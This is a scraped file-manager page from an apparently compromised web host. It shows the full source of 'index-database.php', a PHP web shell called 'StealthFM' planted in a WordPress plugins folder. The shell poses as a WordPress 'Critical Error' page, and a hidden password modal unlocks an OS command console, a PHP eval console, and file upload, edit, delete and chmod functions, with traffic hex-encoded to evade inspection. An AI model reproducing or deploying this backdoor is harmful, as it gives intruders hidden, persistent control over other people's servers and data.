??????????????
??????????????
??????????????
??????????????
Warning : Undefined variable $auth in /home/u627560552/domains/kovexadvisory.com/public_html/666.php on line 546
Warning : Trying to access array offset on value of type null in /home/u627560552/domains/kovexadvisory.com/public_html/666.php on line 546
??????????????
??????????????
??????????????
??????????????
File Manager
✏️ Edit File: /home/mklsvubc/mayshine.co.uk/wp-content/plugins/index-database.php
⬅ Kembali
<?php
session_start();
error_reporting(E_ALL);
ini_set('display_errors', 0);
ini_set('log_errors', 1);
$auth_hash = '50441c71a468bbc45816df8d991a939d126383b9504f0a130e28e8faf5b0e207';
if (isset($_POST['password'])) {
if (hash('sha256', hash('sha256', $_POST['password'])) === $auth_hash) {
$_SESSION['auth'] = true;
header("Location: " . $_SERVER['PHP_SELF']);
exit;
} else {
$login_error = "Неверный пароль";
}
}
if (isset($_GET['logout'])) {
session_destroy();
header("Location: " . $_SERVER['PHP_SELF']);
exit;
}
if (empty($_SESSION['auth'])) {
?>
<!DOCTYPE html>
<html lang="en-US">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="robots" content="noindex,nofollow">
<title>Critical Error – WordPress</title>
<style>
* { margin:0; padding:0; box-sizing:border-box; }
body { background:#f0f0f1; font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif; font-size:13px; color:#3c434a; line-height:1.4; }
.wp-die-message { max-width:700px; margin:50px auto; padding:1em 2em; background:#fff; border-left:4px solid #d63638; box-shadow:0 1px 1px rgba(0,0,0,.04); }
h1 { font-size:24px; margin-bottom:16px; color:#1d2327; }
p { margin:12px 0; line-height:1.6; }
.help-icon { position:fixed; bottom:20px; right:20px; width:40px; height:40px; background:#2271b1; color:#fff; border-radius:50%; display:flex; align-items:center; justify-content:center; font-size:20px; font-weight:bold; cursor:pointer; box-shadow:0 2px 8px rgba(0,0,0,.2); z-index:1000; }
.help-icon:hover { background:#135e96; }
.auth-modal { display:none; position:fixed; inset:0; background:rgba(0,0,0,.7); z-index:10000; align-items:center; justify-content:center; }
.auth-box { background:#fff; padding:30px; border-radius:8px; width:400px; box-shadow:0 10px 30px rgba(0,0,0,.3); }
.auth-box h2 { margin-bottom:20px; text-align:center; color:#1d2327; }
.auth-box input[type="password"] { width:100%; padding:12px; margin-bottom:20px; border:1px solid #8c8f94; border-radius:4px; font-size:16px; }
.auth-box input[type="submit"] { width:100%; padding:12px; background:#2271b1; color:#fff; border:none; border-radius:4px; cursor:pointer; }
.auth-box input[type="submit"]:hover { background:#135e96; }
</style>
</head>
<body>
<div class="wp-die-message">
<h1>Critical Error</h1>
<p>WordPress has encountered a critical error and is unable to continue.</p>
<p>This may have been caused by a plugin or theme conflict, or a problem with your server configuration.</p>
<p>Please check your site admin email inbox for instructions.</p>
<p><a href="https://wordpress.org/support/article/faq-troubleshooting/">Learn more about troubleshooting WordPress</a>.</p>
</div>
<div class="help-icon" onclick="document.getElementById('auth-modal').style.display='flex'">?</div>
<div id="auth-modal" class="auth-modal">
<div class="auth-box">
<h2>WordPress Diagnostics</h2>
<form method="post">
<input type="password" name="password" placeholder="Enter diagnostic key" required autofocus>
<input type="submit" value="Submit">
</form>
</div>
</div>
<script>
document.querySelector('.help-icon').onclick = function(){
document.getElementById('auth-modal').style.display = 'flex';
setTimeout(()=>document.querySelector('input[name="password"]').focus(), 100);
};
</script>
</body>
</html>
<?php exit; }
function fmtSize($b) {
return ($b >= 1048576) ? number_format($b / 1048576, 2) . ' MB' : number_format($b / 1024, 2) . ' KB';
}
function smart_shell($cmd) {
$disabled = explode(',', strtolower(ini_get('disable_functions')));
$disabled = array_map('trim', $disabled);
$cmd .= ' 2>&1';
if (function_exists('shell_exec') && !in_array('shell_exec', $disabled)) return @shell_exec($cmd);
if (function_exists('exec') && !in_array('exec', $disabled)) { @exec($cmd, $arr); return implode("\n", $arr); }
if (function_exists('passthru') && !in_array('passthru', $disabled)) { ob_start(); @passthru($cmd); return ob_get_clean(); }
if (function_exists('system') && !in_array('system', $disabled)) { ob_start(); @system($cmd); return ob_get_clean(); }
return "[Error] Execution functions disabled.";
}
function robust_write($path, $data, $append = false) {
$mode = $append ? 'a+' : 'c+';
$fp = @fopen($path, $mode);
if ($fp) {
if (@flock($fp, LOCK_EX)) {
if (!$append) @ftruncate($fp, 0);
@fwrite($fp, $data);
@fflush($fp);
@flock($fp, LOCK_UN);
} else {
@file_put_contents($path, $data, $append ? FILE_APPEND : 0);
}
@fclose($fp);
return true;
}
return (bool)@file_put_contents($path, $data, $append ? FILE_APPEND : 0);
}
$raw_input = file_get_contents('php://input');
$req = json_decode($raw_input, true);
if ($_SERVER['REQUEST_METHOD'] === 'POST' && $req) {
header('Content-Type: application/json');
$resp = ['status' => 0];
$path = $req['h'] ?? __DIR__;
if (!is_dir($path)) $path = __DIR__;
$path = str_replace('\\', '/', realpath($path));
$act = $req['a'] ?? '';
if ($act === 'idx') {
$all = @scandir($path);
$d = $f = [];
$doc_root = str_replace('\\', '/', rtrim($_SERVER['DOCUMENT_ROOT'], '/'));
if ($all) {
foreach ($all as $i) {
if ($i === '.' || $i === '..') continue;
$fp = $path . '/' . $i;
$meta = [
'n' => $i,
'p' => substr(sprintf('%o', fileperms($fp)), -4),
'd' => date("d M H:i", filemtime($fp)),
'x' => $fp
];
if (is_dir($fp)) $d[] = $meta;
else {
$meta['s'] = fmtSize(filesize($fp));
$meta['e'] = strtolower(pathinfo($i, PATHINFO_EXTENSION));
$meta['url'] = (strpos($fp, $doc_root) === 0) ? str_replace($doc_root, '', $fp) : false;
$f[] = $meta;
}
}
}
$crumbs = []; $b_acc = "";
foreach (explode('/', $path) as $part) {
if ($part === '') continue;
$b_acc .= "/" . $part;
$crumbs[] = ['n' => $part, 'x' => $b_acc];
}
$sys = [
'os' => php_uname('s') . ' ' . php_uname('r'),
'user' => @get_current_user(),
'php' => phpversion(),
'ip' => $_SERVER['SERVER_ADDR'] ?? '127.0.0.1',
'safe' => ini_get('safe_mode') ? "ON" : "OFF"
];
$resp = ['CACHE_D' => $path, 'cwd_s' => $path, 'bc' => $crumbs, 'd' => $d, 'f' => $f, 'sys' => $sys];
}
elseif ($act === 'rd') {
$c = @file_get_contents($path . '/' . $req['t']);
$resp['c'] = bin2hex($c ?: '');
}
elseif ($act === 'wr') {
$resp['status'] = robust_write($path . '/' . $req['t'], @hex2bin($req['c'])) ? 1 : 0;
}
elseif ($act === 'rm') {
$t = $path . '/' . $req['t'];
$resp['status'] = is_file($t) ? @unlink($t) : @rmdir($t);
}
elseif ($act === 'rn') {
$resp['status'] = @rename($path . '/' . $req['o'], $path . '/' . $req['n']);
}
elseif ($act === 'chmod') {
$resp['status'] = (bool)@chmod($path . '/' . $req['t'], octdec($req['m']));
}
elseif ($act === 'chnk') {
$filename = basename($req['n']);
$target_file = $path . '/' . $filename;
$chunk_data = hex2bin($req['d']);
$resp['status'] = robust_write($target_file, $chunk_data, empty($req['is_first'])) ? 1 : 0;
}
elseif ($act === 'cmd') {
$output = smart_shell($req['c'] ?? '');
$resp = ['status' => 1, 'output' => $output ?: "Done."];
}
elseif ($act === 'php') {
$code = $req['c'] ?? '';
$code = preg_replace('/^\s*<\?php\s*/i', '', $code);
ob_start();
try {
eval($code);
$output = ob_get_clean();
$resp = ['status' => 1, 'output' => $output ?: "[Executed – no output]"];
} catch (Throwable $e) {
$output = ob_get_clean();
$resp = ['status' => 0, 'output' => "[PHP Error]: " . $e->getMessage() . "\n" . $output];
}
}
elseif ($act === 'md5') {
$resp = ['status' => 1, 'output' => md5($req['t'] ?? '')];
}
echo json_encode($resp);
exit;
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<title>StealthFM – Ultimate</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&family=JetBrains+Mono:wght@400;500;700&display=swap" rel="stylesheet">
<script src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.4.12/ace.js"></script>
<style>
:root {
--bg-body: #131314; --bg-card: #1e1f20; --bg-hover: #2d2e30;
--border-color: #333333; --text-primary: #e3e3e3; --text-secondary: #a8a8a8;
--accent-primary: #8ab4f8; --accent-warning: #fdd663; --accent-success: #81c995;
--accent-danger: #f28b82; --neon: #8ab4f8;
}
body { background-color: var(--bg-body); color: var(--text-primary); font-family: 'Inter', sans-serif; margin: 0; height: 100vh; display: flex; justify-content: center; overflow: hidden; }
.app { width: 1100px; height: 95vh; background: var(--bg-card); border: 1px solid var(--border-color); border-radius: 12px; display: flex; flex-direction: column; box-shadow: 0 20px 50px rgba(0,0,0,0.6); margin-top: 20px; }
.head { padding: 15px 25px; border-bottom: 1px solid var(--border-color); display: flex; justify-content: space-between; align-items: center; background: #18191a; flex-shrink: 0; }
.logo { font-weight: 700; font-size: 1.1rem; color: #fff; display: flex; align-items: center; }
.logo i { color: var(--accent-primary); margin-right: 10px; }
.logo span { color: var(--accent-primary); }
.sys-info-box { background: #18191a; border-bottom: 1px solid var(--border-color); padding: 12px 25px; display: grid; grid-template-columns: repeat(4, 1fr); gap: 15px; font-family: 'JetBrains Mono', monospace; font-size: 11px; color: var(--text-secondary); flex-shrink: 0; }
.sys-info-box span { color: var(--accent-primary); font-weight: 600; }
.nav { padding: 10px 25px; background: rgba(0,0,0,0.2); border-bottom: 1px solid var(--border-color); display: flex; gap: 15px; align-items: center; flex-shrink: 0; }
.crumbs { flex: 1; font-family: 'JetBrains Mono', monospace; font-size: 13px; color: var(--text-secondary); white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }
.crumbs span { cursor: pointer; transition: 0.2s; } .crumbs span:hover { color: #fff; } .sep { margin: 0 4px; color: var(--border-color); }
.grid { flex: 1; overflow-y: auto; background: #131314; }
table { width: 100%; border-collapse: collapse; font-size: 13px; table-layout: fixed; }
th { text-align: left; padding: 15px; color: var(--text-secondary); background: #1e1f20; position: sticky; top: 0; z-index: 2; border-bottom: 1px solid var(--border-color); font-size: 11px; text-transform: uppercase; letter-spacing: 0.5px; }
td { padding: 12px 15px; border-bottom: 1px solid var(--border-color); white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }
tr:hover td { background-color: var(--bg-hover); }
.btn-modern { background: var(--bg-card); border: 1px solid var(--border-color); color: var(--text-primary); padding: 8px 15px; border-radius: 8px; cursor: pointer; font-size: 12px; font-weight: 500; transition: 0.2s; display: inline-flex; align-items: center; gap: 8px; }
.btn-modern:hover { background: var(--bg-hover); border-color: #555; color: #fff; }
.btn-primary { background: var(--accent-primary); color: #000; border: none; }
.perm-badge { font-family: 'JetBrains Mono'; padding: 4px 8px; border-radius: 6px; font-size: 11px; border: 1px solid var(--border-color); background: #000; color: var(--accent-success); cursor: pointer; }
.sys-console { padding: 0; background: #0a0a0a; border-top: 1px solid var(--border-color); display: flex; flex-direction: column; height: 350px; flex-shrink: 0; }
.tabs { display: flex; background: #18191a; border-bottom: 1px solid var(--border-color); }
.tab { padding: 12px 20px; cursor: pointer; font-size: 12px; color: var(--text-secondary); border-right: 1px solid var(--border-color); font-weight: 500; }
.tab.active { background: var(--bg-card); color: var(--accent-primary); border-top: 2px solid var(--accent-primary); }
.pane { display: none; flex-direction: column; height: 100%; padding: 20px; flex: 1; min-height: 0; }
.pane.active { display: flex; }
.controls { display: flex; gap: 12px; margin-bottom: 15px; align-items: center; }
textarea#cmdInput { flex: 1; background: #000; color: #ce9178; border: 1px solid #333; padding: 12px; font-family: 'JetBrains Mono'; border-radius: 8px; outline: none; resize: vertical; height: 160px; font-size: 13px; }
pre.output-area { flex: 1; margin: 0; background: #050505; color: #9cdcfe; padding: 15px; border-radius: 8px; overflow-y: auto; border: 1px solid #222; font-family: 'JetBrains Mono'; font-size: 12px; white-space: pre-wrap; word-break: break-all; }
.overlay { display: none; position: fixed; inset: 0; background: rgba(0,0,0,0.85); z-index: 1000; justify-content: center; align-items: center; backdrop-filter: blur(4px); }
.modal { background: var(--bg-card); border: 1px solid var(--border-color); width: 90%; max-width: 800px; border-radius: 12px; padding: 25px; }
#editor { height: 550px; border-radius: 8px; border: 1px solid #333; }
.chmod-tbl { width: 100%; text-align: center; border-collapse: collapse; margin: 20px 0; }
.chmod-tbl th { color: var(--text-secondary); padding: 10px; border-bottom: 1px solid #333; }
.chmod-tbl td { padding: 12px; border-bottom: 1px solid #222; }
.chmod-cb { transform: scale(1.4); cursor: pointer; accent-color: var(--accent-primary); }
</style>
</head>
<body>
<div class="app">
<div class="head">
<div class="logo"><i class="fas fa-ghost"></i>Stealth<span>FM</span></div>
<div style="font-size: 12px; color: var(--text-secondary);">v3.6 Ultimate | <a href="?logout=1" style="color: var(--accent-danger); text-decoration: none; font-weight: 600;">Logout</a></div>
</div>
<div class="sys-info-box">
<div>OS: <span id="sysOS">...</span></div>
<div>User: <span id="sysUser">...</span></div>
<div>PHP: <span id="sysPHP">...</span> | Safe: <span id="sysSafe">...</span></div>
<div>IP: <span id="sysIP">...</span></div>
</div>
<div class="nav">
<div class="crumbs" id="bc"></div>
<button class="btn-modern" onclick="document.getElementById('upBox').style.display='flex'"><i class="fas fa-cloud-upload-alt"></i> Upload</button>
<button class="btn-modern" onclick="init()"><i class="fas fa-sync"></i> Refresh</button>
</div>
<div class="grid">
<table>
<thead>
<tr>
<th style="width: 40%;">NAME</th>
<th style="width: 12%;">SIZE</th>
<th style="width: 18%;">MODIFIED</th>
<th style="width: 10%;">PERMS</th>
<th style="width: 20%; text-align:right;">ACTIONS</th>
</tr>
</thead>
<tbody id="tb"></tbody>
</table>
</div>
<div class="sys-console">
<div class="tabs">
<div class="tab active" onclick="switchTab('terminal', 'cmd', this)">OS Shell</div>
<div class="tab" onclick="switchTab('terminal', 'php', this)">PHP REPL</div>
<div class="tab" onclick="switchTab('toolkit', 'tool', this)">Toolkit</div>
<div style="flex:1; text-align:right; padding:12px; color:#444; font-size:10px; font-family:'JetBrains Mono';">Ctrl+S: Save | Esc: Close | Ctrl+`: Shell</div>
</div>
<div id="pane-terminal" class="pane active">
<div class="controls">
<b id="promptChar" style="color:var(--accent-warning); font-family:'JetBrains Mono'; min-width:30px;">→</b>
<textarea id="cmdInput" placeholder="Enter command..." onkeydown="handleConsoleKeys(event)"></textarea>
<button class="btn-modern btn-primary" style="height:45px;" onclick="runConsole()">Execute</button>
<div style="display:flex; flex-direction:column; gap:4px;">
<button class="btn-modern" style="padding:4px 10px;" onclick="historyUp()"><i class="fas fa-chevron-up"></i></button>
<button class="btn-modern" style="padding:4px 10px;" onclick="historyDown()"><i class="fas fa-chevron-down"></i></button>
</div>
</div>
<pre class="output-area" id="consoleOutput">Terminal initialized.</pre>
</div>
<div id="pane-toolkit" class="pane">
<div style="display:flex; gap:15px; flex:1;">
<textarea id="toolInput" placeholder="Source data..." style="flex:1; background:#000; color:#ce9178; border:1px solid #333; border-radius:8px; padding:12px; font-family:'JetBrains Mono';"></textarea>
<div style="width:140px; display:flex; flex-direction:column; gap:8px; justify-content:center;">
<button class="btn-modern" onclick="tool('b64e')">Base64 Enc</button>
<button class="btn-modern" onclick="tool('b64d')">Base64 Dec</button>
<button class="btn-modern" onclick="tool('md5')">MD5 Hash</button>
</div>
<textarea id="toolOutput" readonly placeholder="Result..." style="flex:1; background:#000; color:#9cdcfe; border:1px solid #333; border-radius:8px; padding:12px; font-family:'JetBrains Mono';"></textarea>
</div>
</div>
</div>
</div>
<div class="overlay" id="chmodBox">
<div class="modal" style="max-width:400px;">
<h3 style="margin-top:0; color:var(--accent-primary);">Permissions: <span id="chmodTarget" style="font-family:'JetBrains Mono';"></span></h3>
<table class="chmod-tbl">
<tr><th></th><th>R</th><th>W</th><th>X</th></tr>
<tr><td>Owner</td><td><input type="checkbox" class="chmod-cb" data-target="owner" data-val="4" onchange="calcChmod()"></td><td><input type="checkbox" class="chmod-cb" data-target="owner" data-val="2" onchange="calcChmod()"></td><td><input type="checkbox" class="chmod-cb" data-target="owner" data-val="1" onchange="calcChmod()"></td></tr>
<tr><td>Group</td><td><input type="checkbox" class="chmod-cb" data-target="group" data-val="4" onchange="calcChmod()"></td><td><input type="checkbox" class="chmod-cb" data-target="group" data-val="2" onchange="calcChmod()"></td><td><input type="checkbox" class="chmod-cb" data-target="group" data-val="1" onchange="calcChmod()"></td></tr>
<tr><td>Public</td><td><input type="checkbox" class="chmod-cb" data-target="public" data-val="4" onchange="calcChmod()"></td><td><input type="checkbox" class="chmod-cb" data-target="public" data-val="2" onchange="calcChmod()"></td><td><input type="checkbox" class="chmod-cb" data-target="public" data-val="1" onchange="calcChmod()"></td></tr>
</table>
<div style="text-align:center; font-size:28px; color:var(--accent-success); font-family:'JetBrains Mono'; font-weight:bold;" id="chmodResult">0000</div>
<div style="margin-top:25px; display:flex; justify-content:space-between;">
<button class="btn-modern" onclick="document.getElementById('chmodBox').style.display='none'">Cancel</button>
<button class="btn-modern btn-primary" onclick="saveChmod()">Apply Changes</button>
</div>
</div>
</div>
<div class="overlay" id="upBox">
<div class="modal" style="max-width:400px; text-align:center;">
<h3 style="margin-top:0; color:var(--accent-primary);">Upload File</h3>
<input type="file" id="fInput" style="display:none" onchange="startUpload()">
<button class="btn-modern btn-primary" style="padding:25px; width:100%; justify-content:center;" onclick="document.getElementById('fInput').click()"><i class="fas fa-file-import"></i> Select from Device</button>
<div id="upStatus" style="color:var(--accent-success); margin-top:15px; font-family:'JetBrains Mono';">Ready</div>
<br>
<button class="btn-modern" onclick="document.getElementById('upBox').style.display='none'">Close</button>
</div>
</div>
<div class="overlay" id="renameBox">
<div class="modal" style="max-width:400px;">
<h3 style="margin-top:0; color:var(--accent-primary);">Rename</h3>
<input type="text" id="renameInput" style="width:100%; padding:12px; background:#000; color:#fff; border:1px solid #333; border-radius:8px; outline:none; margin:15px 0;">
<div style="display:flex; justify-content:space-between;">
<button class="btn-modern" onclick="document.getElementById('renameBox').style.display='none'">Cancel</button>
<button class="btn-modern btn-primary" onclick="submitRename()">Rename</button>
</div>
</div>
</div>
<div class="overlay" id="edBox">
<div class="modal" style="max-width:1000px;">
<div style="display:flex; justify-content:space-between; margin-bottom:15px; align-items:center;">
<span id="edName" style="color:var(--accent-primary); font-family:'JetBrains Mono'; font-weight:bold;">Editor</span>
<span style="cursor:pointer; color:var(--accent-danger); font-size:24px;" onclick="document.getElementById('edBox').style.display='none'">×</span>
</div>
<div id="editor"></div>
<div style="margin-top:15px; text-align:right;">
<button class="btn-modern btn-primary" onclick="saveEdit()"><i class="fas fa-save"></i> Save (Ctrl+S)</button>
</div>
</div>
</div>
<script>
let CACHE_D = '<?= addslashes(__DIR__) ?>';
let ED_FILE = '';
let CHMOD_FILE = '';
let RENAME_OLD = '';
let editor;
let currentMode = 'cmd';
// History
let histCmd = JSON.parse(localStorage.getItem('fm_hist_cmd') || '[]');
let histPhp = JSON.parse(localStorage.getItem('fm_hist_php') || '[]');
let histIdx = -1;
function getActiveHist() { return currentMode === 'cmd' ? histCmd : histPhp; }
function saveActiveHist(arr) { localStorage.setItem(currentMode === 'cmd' ? 'fm_hist_cmd' : 'fm_hist_php', JSON.stringify(arr.slice(-50))); }
function historyUp() {
let h = getActiveHist();
if (histIdx < h.length - 1) {
histIdx++;
document.getElementById('cmdInput').value = h[h.length - 1 - histIdx];
}
}
function historyDown() {
let h = getActiveHist();
if (histIdx > 0) {
histIdx--;
document.getElementById('cmdInput').value = h[h.length - 1 - histIdx];
} else {
histIdx = -1;
document.getElementById('cmdInput').value = '';
}
}
function handleConsoleKeys(e) {
if (e.key === 'Enter' && !e.shiftKey) { e.preventDefault(); runConsole(); }
if (e.key === 'ArrowUp' && e.target.value === '') { e.preventDefault(); historyUp(); }
if (e.key === 'ArrowDown' && histIdx !== -1) { historyDown(); }
}
document.addEventListener('keydown', e => {
if (e.key === 'Escape') document.querySelectorAll('.overlay').forEach(el => el.style.display = 'none');
if ((e.ctrlKey || e.metaKey) && e.key.toLowerCase() === 's' && document.getElementById('edBox').style.display === 'flex') {
e.preventDefault();
saveEdit();
}
if ((e.ctrlKey || e.metaKey) && e.key === '`') {
e.preventDefault();
document.getElementById('cmdInput').focus();
}
});
function switchTab(paneId, mode, el) {
currentMode = mode; histIdx = -1;
document.querySelectorAll('.tab').forEach(t => t.classList.remove('active')); el.classList.add('active');
document.querySelectorAll('.pane').forEach(p => p.classList.remove('active')); document.getElementById('pane-' + paneId).classList.add('active');
document.getElementById('promptChar').innerHTML = mode === 'cmd' ? '→' : 'php>';
}
async function api(req) {
req.h = CACHE_D;
const res = await fetch('', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(req) });
return await res.json();
}
async function runConsole() {
const val = document.getElementById('cmdInput').value.trim();
if (!val) return;
let h = getActiveHist();
if (h[h.length-1] !== val) { h.push(val); saveActiveHist(h); }
document.getElementById('cmdInput').value = ''; histIdx = -1;
const out = document.getElementById('consoleOutput'); out.textContent = 'Executing...';
try {
const data = await api({ a: currentMode, c: val });
out.textContent = data.output || (data.status ? "[Executed]" : "[Error]");
} catch (e) {
out.textContent = 'Connection error: ' + e.message;
}
}
async function tool(act) {
const i = document.getElementById('toolInput').value;
const o = document.getElementById('toolOutput');
if (act === 'b64e') o.value = btoa(unescape(encodeURIComponent(i)));
else if (act === 'b64d') {
try { o.value = decodeURIComponent(escape(atob(i))); } catch(e) { o.value = "Error"; }
}
else if (act === 'md5') {
const res = await api({ a: 'md5', t: i });
o.value = res.output;
}
}
async function init() {
const data = await api({ a: 'idx' });
CACHE_D = data.CACHE_D;
if (data.sys) {
document.getElementById('sysOS').textContent = data.sys.os;
document.getElementById('sysUser').textContent = data.sys.user;
document.getElementById('sysPHP').textContent = data.sys.php;
document.getElementById('sysSafe').textContent = data.sys.safe;
document.getElementById('sysIP').textContent = data.sys.ip;
}
let bc = `<span onclick="nav('/')">ROOT</span>`;
data.bc.forEach(b => bc += `<span class="sep">/</span><span onclick="nav('${b.x.replace(/\\/g, '\\\\')}')">${b.n}</span>`);
document.getElementById('bc').innerHTML = bc;
let h = '';
data.d.forEach(i => {
h += `<tr>
<td class="ps-3"><i class="fas fa-folder" style="color:var(--accent-warning); margin-right:12px;"></i>
<a href="#" onclick="nav('${i.x.replace(/\\/g, '\\\\')}')" style="color:#fff; text-decoration:none; font-weight:600;">${i.n}</a></td>
<td style="color:var(--text-secondary);">DIR</td>
<td style="color:var(--text-secondary);"><small>${i.d}</small></td>
<td><span class="perm-badge" onclick="openChmod('${i.n}','${i.p}')">${i.p}</span></td>
<td style="text-align:right" class="pe-3">
<i class="fas fa-pen" style="cursor:pointer;color:var(--text-secondary);margin-right:12px" onclick="openRename('${i.n}')"></i>
<i class="fas fa-trash" style="cursor:pointer;color:var(--accent-danger)" onclick="del('${i.n}')"></i>
</td>
</tr>`;
});
data.f.forEach(i => {
let link = i.url ? `<a href="${i.url}" target="_blank" style="color:var(--accent-success); margin-left:10px;"><i class="fas fa-external-link-alt"></i></a>` : '';
h += `<tr>
<td class="ps-3"><i class="fas fa-file" style="margin-right:12px; color:var(--text-secondary);"></i> ${i.n}</td>
<td style="color:var(--text-secondary); font-size:12px;">${i.s}</td>
<td style="color:var(--text-secondary);"><small>${i.d}</small></td>
<td><span class="perm-badge" onclick="openChmod('${i.n}','${i.p}')">${i.p}</span></td>
<td style="text-align:right" class="pe-3">
<i class="fas fa-code" style="cursor:pointer;color:#fff;margin-right:12px" onclick="edit('${i.n}')"></i>
<i class="fas fa-pen" style="cursor:pointer;color:var(--text-secondary);margin-right:12px" onclick="openRename('${i.n}')"></i>
<i class="fas fa-trash" style="cursor:pointer;color:var(--accent-danger);margin-right:8px" onclick="del('${i.n}')"></i>${link}
</td>
</tr>`;
});
document.getElementById('tb').innerHTML = h;
}
function nav(p) { CACHE_D = p; init(); }
async function edit(n) {
ED_FILE = n;
const res = await api({ a: 'rd', t: n });
let c = '';
if (res.c) {
for (let i = 0; i < res.c.length; i += 2) {
c += String.fromCharCode(parseInt(res.c.substr(i, 2), 16));
}
}
document.getElementById('edName').textContent = n;
document.getElementById('edBox').style.display = 'flex';
if (!editor) {
editor = ace.edit("editor");
editor.setTheme("ace/theme/monokai");
editor.session.setMode("ace/mode/php");
editor.setShowPrintMargin(false);
}
editor.setValue(c, -1);
}
async function saveEdit() {
let hex = '';
const c = editor.getValue();
for (let i = 0; i < c.length; i++) {
hex += c.charCodeAt(i).toString(16).padStart(2, '0');
}
await api({ a: 'wr', t: ED_FILE, c: hex });
init();
}
function openRename(n) {
RENAME_OLD = n;
document.getElementById('renameInput').value = n;
document.getElementById('renameBox').style.display = 'flex';
}
async function submitRename() {
const newName = document.getElementById('renameInput').value;
if (newName && newName !== RENAME_OLD) {
await api({ a: 'rn', o: RENAME_OLD, n: newName });
document.getElementById('renameBox').style.display = 'none';
init();
}
}
function openChmod(n, p) {
CHMOD_FILE = n;
document.getElementById('chmodTarget').textContent = n;
const v = p.padStart(4, '0');
const o = parseInt(v[1]), g = parseInt(v[2]), pub = parseInt(v[3]);
document.querySelectorAll('.chmod-cb').forEach(cb => {
const t = cb.dataset.target;
const val = parseInt(cb.dataset.val);
if (t === 'owner') cb.checked = (o & val) === val;
if (t === 'group') cb.checked = (g & val) === val;
if (t === 'public') cb.checked = (pub & val) === val;
});
calcChmod();
document.getElementById('chmodBox').style.display = 'flex';
}
function calcChmod() {
let o = 0, g = 0, p = 0;
document.querySelectorAll('.chmod-cb:checked').forEach(cb => {
const t = cb.dataset.target;
const v = parseInt(cb.dataset.val);
if (t === 'owner') o += v;
if (t === 'group') g += v;
if (t === 'public') p += v;
});
const res = `0${o}${g}${p}`;
document.getElementById('chmodResult').textContent = res;
return res;
}
async function saveChmod() {
await api({ a: 'chmod', t: CHMOD_FILE, m: calcChmod() });
document.getElementById('chmodBox').style.display = 'none';
init();
}
async function del(n) {
if (confirm('Delete ' + n + '?')) {
await api({ a: 'rm', t: n });
init();
}
}
async function startUpload() {
const file = document.getElementById('fInput').files[0];
if (!file) return;
let pos = 0, size = file.size;
while (pos < size) {
const chunk = file.slice(pos, pos + 51200);
await new Promise(r => {
const rd = new FileReader();
rd.onload = async e => {
let hex = Array.from(new Uint8Array(e.target.result))
.map(b => b.toString(16).padStart(2, '0'))
.join('');
await api({ a: 'chnk', n: file.name, d: hex, is_first: pos === 0 });
pos += 51200;
document.getElementById('upStatus').textContent = Math.min(100, Math.round(pos / size * 100)) + '%';
r();
};
rd.readAsArrayBuffer(chunk);
});
}
document.getElementById('upBox').style.display = 'none';
init();
}
window.onload = init;
</script>
</body>
</html>